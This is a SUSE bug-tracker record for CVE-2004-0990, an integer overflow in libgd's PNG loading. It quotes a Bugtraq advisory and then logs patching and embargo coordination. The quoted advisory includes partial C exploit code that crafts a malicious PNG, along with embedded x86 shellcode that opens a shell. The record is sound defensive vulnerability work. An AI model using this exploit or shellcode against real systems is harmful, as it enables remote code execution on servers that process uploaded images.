Bug 62666 (CVE-2004-0990)

Summary: VUL-0: CVE-2004-0990: gd: integer overflow that leads to buffer overflow
Product: [Novell Products] SUSE Security Incidents Reporter: Thomas Biege <thomas>
Component: IncidentsAssignee: Thomas Biege <thomas>
Status: RESOLVED FIXED QA Contact: Security Team bot <security-team>
Severity: Normal    
Priority: P3 - Medium CC: mls, nadvornik, patch-request, security-team
Version: unspecified   
Target Milestone: ---   
Hardware: All   
OS: Linux   
Whiteboard: CVE-2004-0990: CVSS v2 Base Score: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Found By: --- Services Priority:
Business Priority: Blocker: ---
Marketing QA Status: --- IT Deployment: ---
Attachments: patchinfo-box.gd
patchinfo.gd
gd-overflow.patch
gd-1.8.4-security.patch
gd-2.0.33-CAN-2004-0941.patch

Description Thomas Biege 2004-10-27 18:07:48 UTC
Hi, 
a guy posted a report about a bug in gd. 
 
Sorry, I don't have a link. Maybe it will be available on http://
www.securityfocus.com in the next few days. For now I pasted it below. 
 
Please do not trust the included exploit. The shellcode may execute 
something else (like rm -rf /). :)
Comment 1 Thomas Biege 2004-10-27 18:07:48 UTC
<!-- SBZ_reproduce  -->
Date: Mon, 25 Oct 2004 20:43:03 -0400 
From: infamous41md@hotpop.com 
To: bugtraq <bugtraq@securityfocus.com> 
Subject: libgd integer overflow 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 
 
Subject: 
 
GD Graphics Library integer overflow leading to heap overflow. 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 
 
Product Description: 
 
An ANSI C library for the dynamic creation of images. GD creates PNG, JPEG and 
GIF images, among other formats.  It is the library used by PHP to manipulate 
images. 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 
 
Vulnerable: 
 
Only the latest version was tested, gd-2.0.28.  I would venture a guess that 
old 
versions are vulnerable as well, as I found no checking anywhere for the type 
of 
bugs found. 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 
 
Summary: 
 
There is an integer overflow when allocating memory in the routine that 
handles 
loading PNG image files.  This later leads to heap data structures being 
overwritten.  If an attacker tricked a user into loading a malicious PNG 
image, 
they could leverage this into executing arbitrary code in the context of the 
user opening image.  Many programs use GD, such as ImageMagick, and more 
importantly it is also the image library used for PHP, and there is a Perl 
module as well.  One possibile target would be PHP driven photo websites that 
let users upload images.  Some of them will resize/compress the image when the 
user uploads them.  If this is done using GD, this could be used to execute 
code 
on the server.  There is a mitigating factor, in order to reach the vulnerable 
code, a large amount of memory needs to be allocated.  My 128MB p2 crapped out 
one allocation before it reached the overflow.  However, I think on a newer 
box 
with lots of memory and swap space, that won't be a problem. 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 
 
Details: 
 
The vulnerable code occurs in the file gd_png.c, in the function 
gdImageCreateFromPngCtx(), which is called by gdImageCreateFromPng().  The 
function is used to load an image file into GD data structures.  The problem 
occurs when allocating memory for the image rows, line 314 or so ( I added 
some 
comments so line number might be off).  Two user supplied values are 
multiplied 
together (rowbytes * height), and used to allocate memory for an array of 
pointers.  This pointer array is then passed to the png_read_image() function, 
which belongs to the libPNG library.  In that function, the pointers are 
passed 
to the png_read_row() function.  The data for the rows is decompressed using 
zLib function inflate(), and then passed to the png_combine_row() function, 
where the deflated data is memcpy()'d into the heap buffer.  Exploitation 
would 
require using zLib functions to compress the payload.  Successful exploitation 
would lead to executing arbitrary code. 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 
 
Vendor: 
 
I spoke with author about a month ago, he told me that updates would be out 
within a couple weeks.  I'm assuming they are. 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 
 
Exploit: 
 
The start of my exploit is attached.  I didn't pursue further b/c my box sucks 
ass, and doesn't have enough memory/swap. 
 
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 
 
 
#include <stdio.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <fcntl.h> 
#include <string.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <stdint.h> 
#include <zlib.h> 
 
#define OUTFILE "britnay_spares_pr0n.png" 
#define BS 0x1000 
#define ALIGN 0 
 
#define die(x) do{ perror((x)); exit(EXIT_FAILURE);}while(0) 
 
/* 
 * a chunk looks like: 
 * [ 4 byte len ]   - just the length of data 
 * [ 4 byte id  ]   - identifies chunk data type 
 * [ 0+ data    ]   - 
 * [ 4 byte crc ]   - covers the id and data 
 */ 
 
/* identifies a file as a png */ 
#define MAJIC_LEN sizeof(png_majic) 
u_char png_majic[] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a }; 
 
/* png id fields */ 
#define ID_LEN sizeof(png_ihdr_id) 
u_char png_ihdr_id[] = { 73, 72, 68, 82 }; 
u_char png_idat_id[] = { 73, 68, 65, 84 }; 
u_char png_iend_id[] = { 73, 69, 78, 68 }; 
 
 
/* 
 * the iHDR chunk.  image information. 
 */ 
#define IHDR_LEN sizeof(png_ihdr) 
struct _png_ihdr { 
    uint32_t    len, 
                id, 
                width, 
                height; 
    uint8_t     bit_depth, 
                color_type, 
                compress_meth, 
                filter_meth, 
                interlace_meth; 
    uint32_t    crc; 
} __attribute__((packed)); 
typedef struct _png_ihdr png_ihdr; 
 
 
/* 
 * the iDAT chunk. the compressed data of image. 
 */ 
#define IDAT_LEN sizeof(png_idat) 
#define IDAT_DATA_SZ 512 
struct _png_idat { 
    uint32_t    len, 
                id; 
    u_char      data[IDAT_DATA_SZ]; 
    uint32_t    crc; 
} __attribute__((packed)); 
typedef struct _png_idat png_idat; 
 
 
/* 
 * the iEND chunk. contains no data. 
 */ 
#define IEND_LEN sizeof(png_iend) 
struct _png_iend { 
    uint32_t    len, 
                id, 
                crc; 
} __attribute__((packed)); 
typedef struct _png_iend png_iend; 
 
 
/* call them shell code */ 
#define SHELL_LEN strlen(sc) 
char sc[] = 
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" 
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" 
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" 
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" 
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" 
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" 
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" 
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 
 
 
 
int main(int argc, char **argv) 
{ 
    int fd = 0, len = 0; 
    char    *filename = OUTFILE; 
    u_char  buf[BS] = { 0, }; 
    u_long  retaddr = 0; 
    png_ihdr    ihdr; 
    png_idat    idat; 
    png_iend    iend; 
 
#if 0 
    if(argc < 2){ 
        fprintf(stderr, "Usage: %s < retaddr > [ outfile ]\n", argv[0]); 
        return EXIT_FAILURE; 
    } 
    if(argc > 2) 
        filename = argv[2]; 
    sscanf(argv[1], "%lx", &retaddr); 
#endif 
 
#define PNG_USER_WIDTH_MAX 1000000L /* 0xf4240 */ 
    /* 
     * setup png headers 
     */ 
    size_t  a,b; 
    ihdr.len = htonl(0xd); 
    memcpy(&ihdr.id, png_ihdr_id, ID_LEN); 
    /* 
     * need to play with width and height, and also with color_type. depending 
     * on color_type value, rowbytes can be manipulated 
     */ 
    a = ihdr.width = htonl(0x8000); 
    b = ihdr.height = htonl(0x10000); 
    ihdr.bit_depth = 16; 
    ihdr.color_type = 4; 
    ihdr.compress_meth = 0x0; 
    ihdr.filter_meth = 0x0; 
    ihdr.interlace_meth = 0x0; 
    ihdr.crc = htonl(crc32(0, (u_char *)&ihdr.id, 17)); 
 
    iend.len = 0x0; 
    memcpy(&iend.id, png_iend_id, ID_LEN); 
    iend.crc = htonl(crc32(0, (u_char *)&iend.id, 4)); 
 
    idat.len = htonl(IDAT_DATA_SZ); 
    memcpy(&idat.id, png_idat_id, ID_LEN); 
    memset(idat.data, 'A', IDAT_DATA_SZ); 
    idat.crc = htonl(crc32(0, (u_char *)&idat.id, IDAT_DATA_SZ+4)); 
 
    /* 
     * create buffer: 
     * png id - png ihdr - png idat - png iend 
     */ 
    memcpy(buf, png_majic, MAJIC_LEN); 
    len += MAJIC_LEN; 
    memcpy(buf+len, &ihdr, IHDR_LEN); 
    len += IHDR_LEN; 
    memcpy(buf+len, &idat, IDAT_LEN); 
    len += IDAT_LEN; 
    memcpy(buf+len, &iend, IEND_LEN); 
    len += IEND_LEN; 
 
    /* create the file */ 
    if( (fd = open(filename, O_WRONLY|O_CREAT, 0666)) < 0) 
        die("open"); 
    if(write(fd, buf, len) != len) 
        die("write"); 
    close(fd); 
 
    return 0; 
} 
 
-- 
-sean-- 
-sean
Comment 2 Thomas Biege 2004-10-27 18:36:32 UTC
Created attachment 25455 [details]
patchinfo-box.gd
Comment 3 Thomas Biege 2004-10-27 18:36:48 UTC
Created attachment 25456 [details]
patchinfo.gd
Comment 4 Vladimir Nadvornik 2004-10-27 21:48:24 UTC
I will be out of work until monday. 
Can you please look into it if it can't wait. 
 
Comment 5 Vladimir Nadvornik 2004-11-01 22:30:16 UTC
Created attachment 25663 [details]
gd-overflow.patch

This is a fix backported from 2.0.29
Comment 6 Thomas Biege 2004-11-02 16:30:05 UTC
Patch looks ok for this case. 
Comment 7 Vladimir Nadvornik 2004-11-02 22:54:41 UTC
Packages and patchinfos are submitted. 
Comment 8 Ludwig Nussel 2004-11-04 18:42:29 UTC
CAN-2004-0990 
Comment 9 Michael Schröder 2004-11-06 01:34:51 UTC
Hello Vladimir, what's with gd on 8.1?

gd.note:
Why this change?
automake
autoconf
-export CFLAGS="$RPM_OPT_FLAGS -I%_includedir/freetype2"
+export CFLAGS="$RPM_OPT_FLAGS -I%_includedir/freetype2 -g"
export CPPFLAGS="-I%_includedir/freetype2"
./configure --prefix=%_prefix .
Comment 10 Vladimir Nadvornik 2004-11-08 17:20:14 UTC
My fault, sorry. 
Now it is fixed in /work/src/done/8.1/gd 
Comment 11 Marcus Meissner 2004-11-11 23:05:01 UTC
there was an updated patch from redhat, attached: 
 
From: Josh Bressers <bressers@redhat.com>                                        
To: vendor-sec@lst.de                                                            
Subject: [vendor-sec] Additional embargoed gd issues                             
                                                                                 
[-- Attachment #1 [details] --]                                                            
[-- Type: text/plain, Encoding: 7bit, Size: 0.3K --]                             
                                                                                 
If any you aren't aware of CAN-2004-0990, it was some integer overflows in       
gd.  Our gd maintainer has found a few more issues, which we've assigned         
CAN-2004-0941.  We're going to go with 2004-11-17 1400UTC as the embargo         
date.                                                                            
                                                                                 
I'm attaching our new and improved (tm) patch which fixes both CVE id's.         
                                                                                 
Comment 12 Marcus Meissner 2004-11-11 23:05:31 UTC
Created attachment 26013 [details]
gd-1.8.4-security.patch
Comment 13 Vladimir Nadvornik 2004-11-12 18:19:03 UTC
Is there a patch for gd-2.0.xx available?  
 
Comment 14 Marcus Meissner 2004-11-12 20:24:02 UTC
Created attachment 26050 [details]
gd-2.0.33-CAN-2004-0941.patch

just in from vendor-sec
Comment 15 Vladimir Nadvornik 2004-11-15 20:58:19 UTC
Package is submitted 
Comment 16 Michael Schröder 2004-11-16 01:01:54 UTC
Patchinfos?
Comment 17 Thomas Biege 2004-11-16 16:36:40 UTC
Vladimir, 
please submit the patchinfo files after the package was usbmitted... like we 
handled the tasks in the past. Thanks. 
Comment 18 Vladimir Nadvornik 2004-11-16 17:30:53 UTC
Can I use the same patchinfos as before (comment #2 and #3)?  
If not, can you please write new ones? 
Comment 19 Thomas Biege 2004-11-16 18:12:57 UTC
Ah ok. 
 
Submitted now. 
`/work/src/done/PATCHINFO/patchinfo-box.gd' 
'/work/src/done/PATCHINFO/patchinfo.gd' 
 
 
Comment 21 Thomas Biege 2004-11-23 19:46:44 UTC
packages approved 
Comment 22 Thomas Biege 2009-10-13 19:54:57 UTC
CVE-2004-0990: CVSS v2 Base Score: 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)